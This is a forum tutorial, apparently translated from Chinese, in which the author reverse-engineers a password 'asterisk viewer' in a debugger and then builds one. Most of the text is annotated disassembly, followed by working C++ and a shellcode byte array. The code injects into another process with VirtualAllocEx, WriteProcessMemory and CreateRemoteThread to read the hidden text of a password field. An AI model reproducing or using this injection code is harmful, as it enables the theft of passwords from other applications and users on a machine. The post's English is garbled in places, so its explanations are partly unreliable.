Author:qqaben
I download a software of Asterisk Viewer these two days,Software has ugly windows And farraginous performance,Let me not inthe mood to use, So I writed myself.I know to send WM_GETTEXT event for get window's text,do it:
code:
//控制台
..........
while(1)
{
Sleep(1000);
POINT Point;
::GetCursorPos(&Point);
HWND m_hWnd=WindowFromPoint(Point);
if(m_hWnd)
{
char szText[256];
int iLength = SendMessage(m_hWnd,WM_GETTEXT,256,(LPARAM)szText);
szText[iLength]='\0';
{
char szClassName[128];
int iClassLength = GetClassName(m_hWnd,szClassName,128);
szClassName[iClassLength] = '\0';
printf("%s ClassName:%s\n",szText,szClassName);
}
}
}
.............
Watch the picture,We get right edit's text when moved to login(用户名),however,We can't get nothing on passwd edit.It seems some protection after edit seting up ES_PASSWD styles.Maybe don't use WM_GETTEXT,Wathch MSDN:
Displays an asterisk (*) for each character typed into the edit control. This style is valid only for singleline edit controls.
To change the characters that is displayed, or set or clear this style, use the EM_SETPASSWORDCHAR message.
Can I get passwd if password be sent EM_SETPASSWORDCHAR first,after be sent WM_GETTEXT ? Test it,I can't get yet.
Watch other people' software,OD loaded,bp GetWindowLong.
F9 run,Drag magnifier of soft,Stop there:
00401ABC |> \6A F0 push -10 ; /Index = GWL_STYLE
00401ABE |. FF75 10 push dword ptr [ebp+10] ; |hWnd
00401AC1 |. FF15 0C924000 call dword ptr [<&USER32.GetWind> ; \GetWindowLongA
00401AC7 |. 8BD8 mov ebx, eax
00401AC9 |. 8D85 D8FCFFFF lea eax, dword ptr [ebp-328] ; Stack Address =0012F87C, (ASCII "EDIT")
00401ACF |. 68 ECB14000 push 0040B1EC ; ASCII "EDIT"
00401AD4 |. 50 push eax ; 可见在GetWindowLong前面已经调用过GetClassName
00401AD5 |. E8 361B0000 call 00403610 ; test window's type of magnifier and EDIT
00401ADA |. 59 pop ecx
00401ADB |. 85C0 test eax, eax
00401ADD |. 59 pop ecx
00401ADE |. 0F84 CA000000 je 00401BAE ; Edit, jump keyt
..........
00401BAE |> \F6C3 20 test bl, 20
00401BB1 |. 74 57 je short 00401C0A
00401BB3 |. 833D 4CE44000>cmp dword ptr [40E44C], 0
00401BBA |.^ 74 D9 je short 00401B95
00401BBC |. 8D45 14 lea eax, dword ptr [ebp+14]
00401BBF |. 50 push eax
00401BC0 |. FF75 10 push dword ptr [ebp+10] ; 可以用spy查看一下,此处存放的是密码框的句柄
00401BC3 |. FFD7 call edi ; USER32.GetWindowThreadProcessId
00401BC5 |. FF75 14 push dword ptr [ebp+14] ; /ProcessId
00401BC8 |. 6A 00 push 0 ; |Inheritable = FALSE
00401BCA |. 68 3A040000 push 43A ; |Access = CREATE_THREAD|VM_OPERATION|VM_READ|VM_WRITE|QUERY_INFORMATION
00401BCF |. FF15 34904000 call dword ptr [<&KERNEL32.OpenP> ; \OpenProcess
00401BD5 |. 8BF0 mov esi, eax
00401BD7 |. 85F6 test esi, esi
00401BD9 |. 74 1C je short 00401BF7
00401BDB |. 8D85 D8FEFFFF lea eax, dword ptr [ebp-128]
00401BE1 |. 50 push eax
00401BE2 |. FF75 10 push dword ptr [ebp+10]
00401BE5 |. 56 push esi
00401BE6 |. E8 01F6FFFF call 004011EC ; keyt
00401BEB |. 83C4 0C add esp, 0C
00401BEE |. 56 push esi ; /hObject
00401BEF |. FF15 38914000 call dword ptr [<&KERNEL32.Close> ; \CloseHandle
00401BF5 |. EB 13 jmp short 00401C0A
00401BF7 |> 8D85 D8FEFFFF lea eax, dword ptr [ebp-128]
00401BFD |. 68 50E44000 push 0040E450
00401C02 |. 50 push eax
00401C03 |. E8 98130000 call 00402FA0
00401C08 |. 59 pop ecx
00401C09 |. 59 pop ecx
00401C0A |> 8D85 D8FEFFFF lea eax, dword ptr [ebp-128]
00401C10 |. 50 push eax ; /Text
00401C11 |. 68 EC030000 push 3EC ; |/ControlID = 3EC (1004.)
00401C16 |. FF75 08 push dword ptr [ebp+8] ; ||hWnd
00401C19 |. FF15 94914000 call dword ptr [<&USER32.GetDlgI> ; |\GetDlgItem
00401C1F |. 50 push eax ; |hWnd
00401C20 |. FF15 10924000 call dword ptr [<&USER32.SetWind> ; \SetWindowTextA
run in call 004011EC
004011EC /$ 6A 00 push 0
004011EE |. FF7424 10 push dword ptr [esp+10]
004011F2 |. FF7424 10 push dword ptr [esp+10] ; Edit 的句柄, 就叫它 m_EditHwnd 吧
004011F6 |. FF7424 10 push dword ptr [esp+10] ; 调用OpenProcess后返回的进程句柄 ,先叫它 m_ThreadHandle
004011FA |. E8 01FEFFFF call 00401000 ; 某个函数,形如:Function(var1,var2,var3,var4)
004011FF |. 83C4 10 add esp, 10
00401202 \. C3 retn[/code]
再跟进call 00401000
00401000 /$ 55 push ebp
00401001 |. 8BEC mov ebp, esp
00401003 |. 6A FF push -1
00401005 |. 68 38924000 push 00409238
0040100A |. 68 B0314000 push 004031B0 ; SE 处理程序安装
0040100F |. 64:A1 0000000>mov eax, dword ptr fs:[0]
00401015 |. 50 push eax
00401016 |. 64:8925 00000>mov dword ptr fs:[0], esp
0040101D |. 81EC 30010000 sub esp, 130
00401023 |. 53 push ebx
00401024 |. 56 push esi
00401025 |. 57 push edi
00401026 |. 33F6 xor esi, esi
00401028 |. 8975 E4 mov dword ptr [ebp-1C], esi
0040102B |. 8975 DC mov dword ptr [ebp-24], esi
0040102E |. 8975 D0 mov dword ptr [ebp-30], esi
00401031 |. 8975 E0 mov dword ptr [ebp-20], esi
00401034 |. 8975 FC mov dword ptr [ebp-4], esi
00401037 |. 68 60B04000 push 0040B060 ; /pModule = "user32"
0040103C |. FF15 6C904000 call dword ptr [<&KERNEL32.GetModuleHa> ; \GetModuleHandleA
00401042 |. 8945 CC mov dword ptr [ebp-34], eax
00401045 |. 3BC6 cmp eax, esi
00401047 |. 0F84 17010000 je 00401164
0040104D |. 8B45 0C mov eax, dword ptr [ebp+C]
00401050 |. 8985 C4FEFFFF mov dword ptr [ebp-13C], eax
00401056 |. 807D 14 00 cmp byte ptr [ebp+14], 0
0040105A |. B8 50B04000 mov eax, 0040B050 ; ASCII "SendMessageW"
0040105F |. 75 05 jnz short 00401066
00401061 |. B8 40B04000 mov eax, 0040B040 ; ASCII "SendMessageA"
00401066 |> 50 push eax ; /ProcNameOrOrdinal
00401067 |. FF75 CC push dword ptr [ebp-34] ; |hModule
0040106A |. FF15 D8904000 call dword ptr [<&KERNEL32.GetProcAddr> ; \GetProcAddress
00401070 |. 8985 C8FEFFFF mov dword ptr [ebp-138], eax ; 获取了SendMessage 函数的地址,保存好,一会要用到
00401076 |. 6A 40 push 40
00401078 |. 59 pop ecx
00401079 |. 33C0 xor eax, eax
0040107B |. 8DBD CCFEFFFF lea edi, dword ptr [ebp-134]
00401081 |. F3:AB rep stos dword ptr es:[edi]
00401083 |. 39B5 C8FEFFFF cmp dword ptr [ebp-138], esi
00401089 |. 0F84 D5000000 je 00401164
0040108F |. 6A 04 push 4 ; /flProtect = 4
00401091 |. 68 00100000 push 1000 ; |flAllocationType = 1000 (4096.)
00401096 |. BF 08010000 mov edi, 108 ; |
0040109B |. 57 push edi ; |dwSize => 108 (264.)
0040109C |. 56 push esi ; |lpAddress
0040109D |. FF75 08 push dword ptr [ebp+8] ; |hProcess
004010A0 |. FF15 DC904000 call dword ptr [<&KERNEL32.VirtualAllo> ; \VirtualAllocEx
004010A6 |. 8945 D8 mov dword ptr [ebp-28], eax ;
在 m_ThreadHandle 的虚地址空间里分配一块空间 VirMem1, 108h字节
004010A9 |. 3BC6 cmp eax, esi
004010AB |. 0F84 B3000000 je 00401164
004010B1 |. 8D4D E0 lea ecx, dword ptr [ebp-20]
004010B4 |. 51 push ecx ; /pBytesWritten
004010B5 |. 57 push edi ; |BytesToWrite => 108 (264.)
004010B6 |. 8D8D C4FEFFFF lea ecx, dword ptr [ebp-13C] ; |
004010BC |. 51 push ecx ; |Buffer = 0012F60C
004010BD |. 50 push eax ; |Address = D60000
004010BE |. FF75 08 push dword ptr [ebp+8] ; |hProcess = 00000088 (window)
004010C1 |. 8B1D E0904000 mov ebx, dword ptr [<&KERNEL32.WriteP> ; |kernel32.WriteProcessMemory
004010C7 |. FFD3 call ebx ; \WriteProcessMemory
Start from buffer = 0012F60C,VirMem1 is be write something,follow buffer to point address on data window,We can find that 0008093E is handle of Edit and 772DF3B7 is SendMessage address.
Then look down:
004010C9 |. BE EB114000 mov esi, 004011EB
004010CE |. 81EE CB114000 sub esi, 004011CB
004010D4 |. 89B5 C0FEFFFF mov dword ptr [ebp-140], esi
004010DA |. 6A 40 push 40 ; /flProtect = 40 (64.)
004010DC |. 68 00100000 push 1000 ; |flAllocationType = 1000 (4096.)
004010E1 |. 56 push esi ; |dwSize => 20 (32.)
004010E2 |. 6A 00 push 0 ; |lpAddress = NULL
004010E4 |. FF75 08 push dword ptr [ebp+8] ; |hProcess = 00000088 (window)
004010E7 |. FF15 DC904000 call dword ptr [<&KERNEL32.VirtualAllo> ; \VirtualAllocEx
VirtualAlloc VirMem2,
004010ED |. 8945 D4 mov dword ptr [ebp-2C], eax ; 分配的内存地址: D70000
004010F0 |. 85C0 test eax, eax
004010F2 |. 74 6E je short 00401162
004010F4 |. 8D4D E0 lea ecx, dword ptr [ebp-20]
004010F7 |. 51 push ecx ; /pBytesWritten
004010F8 |. 56 push esi ; |BytesToWrite => 20 (32.)
004010F9 |. 68 CB114000 push 004011CB ; |Buffer = ViewPass.004011CB
004010FE |. 50 push eax ; |Address = D70000
004010FF |. FF75 08 push dword ptr [ebp+8] ; |hProcess = 00000088 (window)
00401102 |. FFD3 call ebx ; \WriteProcessMemory
Buffer = ViewPass.004011CB,Right menu select "Disassembly",show it:
004011CB . 56 push esi
004011CC . 8B7424 08 mov esi, dword ptr [esp+8]
004011D0 . 8D46 08 lea eax, dword ptr [esi+8]
004011D3 . 50 push eax
004011D4 . 68 00010000 push 100
004011D9 . 6A 0D push 0D
004011DB . FF36 push dword ptr [esi]
004011DD . FF56 04 call dword ptr [esi+4]
004011E0 . 80A6 07010000 00 and byte ptr [esi+107], 0
004011E7 . 5E pop esi
004011E8 . C2 0400 retn 4
Next watch,Later analyse what to do.
00401104 |. 8D45 DC lea eax, dword ptr [ebp-24]
00401107 |. 50 push eax ; /lpThreadId
00401108 |. 33F6 xor esi, esi ; |
0040110A |. 56 push esi ; |dwCreationFlags => 0
0040110B |. FF75 D8 push dword ptr [ebp-28] ; |lpParameter => 00D60000
0040110E |. FF75 D4 push dword ptr [ebp-2C] ; |lpStartAddress = 00D70000
00401111 |. 56 push esi ; |dwStackSize => 0
00401112 |. 56 push esi ; |lpThreadAttributes => 0
00401113 |. FF75 08 push dword ptr [ebp+8] ; |hProcess = 00000088 (window)
00401116 |. FF15 E4904000 call dword ptr [<&KERNEL32.CreateRemoteT> ; \CreateRemoteThread
m_ThreadHandle create a process,m_ThreadHandle through OpenProcess to get when create password be create.lpStartAddress = 00D70000 The thread create to finished.Software will execute from here on. lpParameter => 00D60000,That is transmitt parameter for the thread.
Analyse VirMem2 to write code.
004011CB . 56 push esi
004011CC . 8B7424 08 mov esi, dword ptr [esp+8] ;参数 00D60000
004011D0 . 8D46 08 lea eax, dword ptr [esi+8] ;00D60008,save passwd
004011D3 . 50 push eax ;WM_GETTEXT get string address
004011D4 . 68 00010000 push 100 ;最多返回100h个字符
004011D9 . 6A 0D push 0D ;WM_GETTEXT
004011DB . FF36 push dword ptr [esi] ;Password's handle
004011DD . FF56 04 call dword ptr [esi+4] ;SendMessage's address
004011E0 . 80A6 07010000>and byte ptr [esi+107], 0 ;'\0 '
004011E7 . 5E pop esi
004011E8 . C2 0400 retn 4
Recalled the call doing:
1. push parameter
2. push return address
3. call interrupt
4. return from interrupt
New thread take as a function,Assume esp to point 00000018,Get the model.
Stack Content
000010 push esi
000014 return address
000018 for thread transmit parameter 00D60000
00001C
000020
000024
Main analyse finished,Watch next:
0040111C |. 8945 E4 mov dword ptr [ebp-1C], eax
0040111F |. 3BC6 cmp eax, esi
00401121 |. 74 3F je short 00401162
00401123 |. 6A FF push -1 ; /Timeout = INFINITE
00401125 |. 50 push eax ; |hObject = 00000098 (window)
00401126 |. FF15 EC904000 call dword ptr [<&KERNEL32.WaitForSingle> ; \WaitForSingleObject
0040112C |. 8D45 E0 lea eax, dword ptr [ebp-20]
0040112F |. 50 push eax ; /pBytesRead
00401130 |. 57 push edi ; |BytesToRead => 108 (264.)
00401131 |. 8D85 C4FEFFFF lea eax, dword ptr [ebp-13C] ; |
00401137 |. 50 push eax ; |Buffer = 0012F60C
00401138 |. FF75 D8 push dword ptr [ebp-28] ; |pBaseAddress = D60000
0040113B |. FF75 08 push dword ptr [ebp+8] ; |hProcess = 00000088 (window)
0040113E |. FF15 90904000 call dword ptr [<&KERNEL32.ReadProcessMe> ; \ReadProcessMemory
Get passwd finished.
Flow:
1.Get edit's handle.
2.GetWindowThreadProcessId() get to create edit's id.
3.OpenProcess(); Open the thread's object,Get the object's HANDLE;
4.Virtual memory at remote thread,write my code.
5.Create remote thread to create my code.
6.Return result.
7.Free momery.
Attach code:
code:
//定义全局变量
static BYTE RemoteCode[]=
{
"\x56\x8B\x74\x24\x08\x8D\x46\x08"
"\x50\x68\x00\x01\x00\x00\x6A\x0D"
"\xFF\x36\xFF\x56\x04\x80\xA6\x07"
"\x01\x00\x00\x00\x5E\xC2\x04\x00"
};
struct Parameter{
HWND hWnd;
FARPROC pProc;
DWORD dwBuffer[128];
Parameter()
{
hWnd =0;
pProc =0;
memset(dwBuffer,0,sizeof(dwBuffer));
}
};
Parameter RemoteParmeter;
code:
void CPWDLookDlg::GetPassWord(HWND hWnd)
{
try{
RemoteParmeter.hWnd = hWnd;
DWORD m_ThreadID = 0;
GetWindowThreadProcessId(hWnd,&m_ThreadID);
HANDLE m_ThreadHandle = ::OpenProcess(0x43A,FALSE,m_ThreadID);
if(!m_ThreadHandle) { return; }
HMODULE m_Usr32Mod = GetModuleHandle("user32");
FARPROC m_SendMessageFun = GetProcAddress(m_Usr32Mod,"SendMessageA");
RemoteParmeter.pProc = m_SendMessageFun;
LPVOID m_VirMem1 = VirtualAllocEx(m_ThreadHandle,NULL,sizeof(RemoteParmeter),MEM_COMMIT,PAGE_READWRITE);
if(!m_VirMem1) { return; }
if(!WriteProcessMemory(m_ThreadHandle,m_VirMem1, &RemoteParmeter,sizeof(RemoteParmeter),NULL)) {return;}
LPVOID m_VirMem2 = VirtualAllocEx(m_ThreadHandle,NULL,sizeof(RemoteCode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(!m_VirMem2) { return; }
if(!WriteProcessMemory(m_ThreadHandle,m_VirMem2, RemoteCode,sizeof(RemoteCode),NULL)){return;}
HANDLE m_RemoteThreadHandle =
CreateRemoteThread(m_ThreadHandle,NULL,NULL,(LPTHREAD_START_ROUTINE)m_VirMem2,m_VirMem1,NULL,NULL);
if(!m_RemoteThreadHandle) { return; }
WaitForSingleObject(m_RemoteThreadHandle,INFINITE);
if(!ReadProcessMemory(m_ThreadHandle,m_VirMem1 ,&RemoteParmeter,sizeof(RemoteParmeter),NULL)) {return;}
CString m_strPwd;
m_strPwd.Format("%s",RemoteParmeter.dwBuffer);
m_ediPWord.SetWindowText(m_strPwd);
VirtualFreeEx(m_ThreadHandle,m_VirMem1,0,MEM_RELEASE);
VirtualFreeEx(m_ThreadHandle,m_VirMem2,0,MEM_RELEASE);
DWORD lpExitCode;
GetExitCodeThread(m_RemoteThreadHandle ,&lpExitCode);
CloseHandle(m_RemoteThreadHandle);
CloseHandle(m_ThreadHandle);
}catch(...)
{
AfxMessageBox("Error!");
}
}